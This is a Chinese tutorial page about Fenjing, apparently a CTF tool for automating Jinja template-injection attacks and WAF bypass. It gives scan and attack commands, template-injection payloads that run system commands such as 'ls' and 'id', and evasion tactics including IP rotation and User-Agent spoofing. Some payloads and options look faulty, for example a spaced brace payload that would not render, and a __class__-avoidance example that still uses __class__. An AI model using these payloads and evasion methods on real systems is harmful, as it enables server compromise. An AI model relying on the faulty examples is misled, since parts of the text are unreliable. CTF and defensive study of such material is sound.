首页
/ 4个关键步骤:Fenjing Jinja SSTI WAF绕过从入门到精通

4个关键步骤:Fenjing Jinja SSTI WAF绕过从入门到精通

2026-04-29 09:52:28作者:邵娇湘

Fenjing是一款专为CTF比赛设计的自动化安全测试工具,专注于智能绕过Jinja SSTI的WAF防护。本指南将通过理论基础、实践操作、进阶技巧和问题解决四个阶段,帮助您全面掌握这款工具的核心功能与实战应用,从零基础成长为SSTI漏洞利用专家。

一、理论基础:SSTI与WAF对抗原理

1.1 Jinja模板注入攻击本质

Jinja模板注入(SSTI)是Web应用常见的安全漏洞,攻击者通过构造特殊输入,使服务器执行恶意代码。通俗来说,就像在蛋糕制作过程中偷偷加入了"特殊配料",最终改变整个蛋糕的性质。专业解释:当模板引擎将用户输入直接作为模板代码执行时,攻击者可注入变量控制结构,实现代码执行、文件读取等恶意操作。

1.2 WAF防护机制解析

Web应用防火墙(WAF)通过三种主要方式防御SSTI攻击:

  • 输入过滤:检查并拦截包含危险关键词(如{{__class__)的请求
  • 输出编码:对模板渲染结果进行转义处理
  • 行为检测:分析请求频率、模式等异常行为特征

⚠️ 理解WAF工作原理是成功绕过的前提,每种防护机制都有其固有的局限性。

1.3 Fenjing核心技术架构

Fenjing采用模块化设计,核心由扫描引擎、绕过引擎和 payload 生成器组成。扫描引擎负责识别潜在漏洞点,绕过引擎分析WAF规则,payload生成器则根据目标环境动态调整攻击载荷。三者协同工作,实现自动化的SSTI漏洞检测与利用。

二、实践操作:环境部署与基础应用

2.1 环境部署策略

根据不同使用场景,Fenjing提供多种部署方案:

CTF比赛场景部署

  • 场景假设:比赛现场网络受限,需要快速部署且确保工具稳定性
  • 目标:5分钟内完成部署并开始使用
  • 执行命令:git clone https://gitcode.com/gh_mirrors/fe/Fenjing && cd Fenjing && pip install -r requirements.txt
  • 预期结果:获得完整的Fenjing工具包,可立即执行命令行操作

日常测试场景部署

  • 场景假设:长期使用,需要隔离环境避免依赖冲突
  • 目标:创建独立虚拟环境并安装Fenjing
  • 执行命令:python -m venv fenjing-env && source fenjing-env/bin/activate && pip install .
  • 预期结果:在独立虚拟环境中运行Fenjing,不影响系统其他Python项目

2.2 扫描检测功能实战

扫描功能是发现潜在SSTI漏洞的第一步,能够自动识别目标URL的表单参数和API接口。

Fenjing扫描功能演示

基础扫描操作

  • 场景假设:测试目标网站是否存在SSTI漏洞
  • 目标:快速扫描并识别潜在注入点
  • 执行命令:python -m fenjing scan --url http://example.com --mode fast
  • 预期结果:返回包含潜在漏洞参数的扫描报告,标记风险等级

高级扫描配置

参数 默认值 推荐值 风险提示
--timeout 10 30 超时过短可能漏检,过长影响扫描速度
--threads 5 3 线程过多可能触发WAF频率限制
--detect-mode accurate fast accurate模式检测全面但耗时较长

2.3 定向渗透引擎使用

定向渗透引擎(crack功能)允许针对特定目标进行精确攻击,绕过WAF防护获取系统权限。

Fenjing WebUI操作界面

WebUI模式使用

  • 场景假设:需要可视化配置攻击参数
  • 目标:通过图形界面发起SSTI攻击
  • 执行命令:python -m fenjing webui
  • 预期结果:在浏览器中访问http://localhost:11451,出现Fenjing操作界面,可配置目标URL、请求方式和表单参数等

命令行模式攻击

  • 场景假设:需要通过命令行快速发起攻击
  • 目标:针对已知漏洞点执行命令注入
  • 执行命令:python -m fenjing crack --url http://example.com --method POST --data "name={{payload}}"
  • 预期结果:成功执行系统命令并返回结果

三、进阶技巧:反WAF策略与定制化配置

3.1 反WAF策略矩阵

输入过滤绕过技巧

  • 字符替换:使用同形字符替换敏感词,如{{替换为{ {
  • 编码绕过:通过URL编码、Base64等方式编码payload
  • 分段注入:将 payload 拆分到多个参数中,绕过关键词检测

输出编码绕过技巧

  • 二次渲染:利用模板引擎的多次渲染特性,使编码后的 payload 被再次解析
  • 标签混淆:使用不常见的模板标签格式,如{% print() %}代替{{}}
  • 变量拼接:通过变量拼接构造危险函数名,避免直接出现关键词

行为检测绕过技巧

  • 请求间隔控制:设置合理的请求间隔,避免触发频率限制
  • User-Agent伪装:模拟正常浏览器请求头
  • IP轮换:通过代理池轮换请求IP地址

3.2 定制化payload生成

Fenjing提供强大的payload定制功能,可根据目标WAF特性生成针对性攻击载荷。

基础定制选项

  • --tamper-cmd:配置 payload 编码方式,如base64rot13
  • --eval-args-payload:将 payload 放入GET参数中提交
  • --environment:指定模板渲染环境,如jinja2django

高级payload生成示例

  • 场景假设:目标WAF拦截__class__关键词
  • 目标:生成不包含__class__的绕过 payload
  • 执行命令:python -m fenjing generate --avoid "__class__" --target os.system
  • 预期结果:生成使用替代方法获取类信息的 payload,如通过().__class__改为[].__class__.__bases__[0]

3.3 CTF实战场景案例

案例一:简单过滤绕过 某CTF题目对{{进行过滤,但允许{ {(带空格)。 解决方案:使用{ {config.__class__.__init__.__globals__['os'].popen('ls').read()} }绕过过滤。

案例二:关键词替换WAF 目标WAF将os替换为空字符串。 解决方案:使用变量拼接o+s构造os,payload:{{[].__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['o'+'s'].system('id')}}

案例三:行为检测绕过 目标WAF对高频请求进行拦截。 解决方案:使用--delay 2参数设置2秒请求间隔,配合代理池轮换IP。

四、问题解决:常见故障排除与性能优化

4.1 扫描功能异常排查

当扫描功能未能发现预期漏洞时,可按以下步骤排查:

  1. 目标可达性测试:执行curl http://target-url确认目标是否可访问
  2. 参数覆盖检查:使用--params all强制扫描所有参数
  3. 检测模式调整:将--detect-modefast改为accurate
  4. 请求头配置:添加--headers "Cookie: session=xxx"模拟已登录状态

提示:结合--debug参数可查看详细请求和响应信息,帮助定位问题。

4.2 攻击成功率优化

当攻击效果不佳时,可尝试以下优化策略:

  • payload变异:使用--mutate参数开启 payload 变异功能
  • 分阶段攻击:先使用scan功能收集WAF规则,再针对性调整 payload
  • 多引擎组合:结合--multi-engine参数同时使用多种绕过算法
  • 自定义规则:通过--custom-rule参数添加特定WAF的绕过规则

4.3 性能优化建议

针对大规模扫描或复杂目标,可通过以下配置提升性能:

配置项 默认值 优化建议 适用场景
--timeout 10 复杂目标设为30 网络延迟高的目标
--threads 5 降低至2-3 存在频率限制的目标
--batch-size 10 增加至20 批量扫描多个目标
--cache-results false true 重复扫描相同目标

通过以上四个阶段的学习,您已经掌握了Fenjing的核心功能和使用技巧。在实际应用中,建议结合具体场景灵活调整策略,不断积累WAF绕过经验。记住,成功的SSTI攻击不仅需要工具支持,更需要对模板引擎原理和WAF机制的深入理解。

登录后查看全文
热门项目推荐
相关项目推荐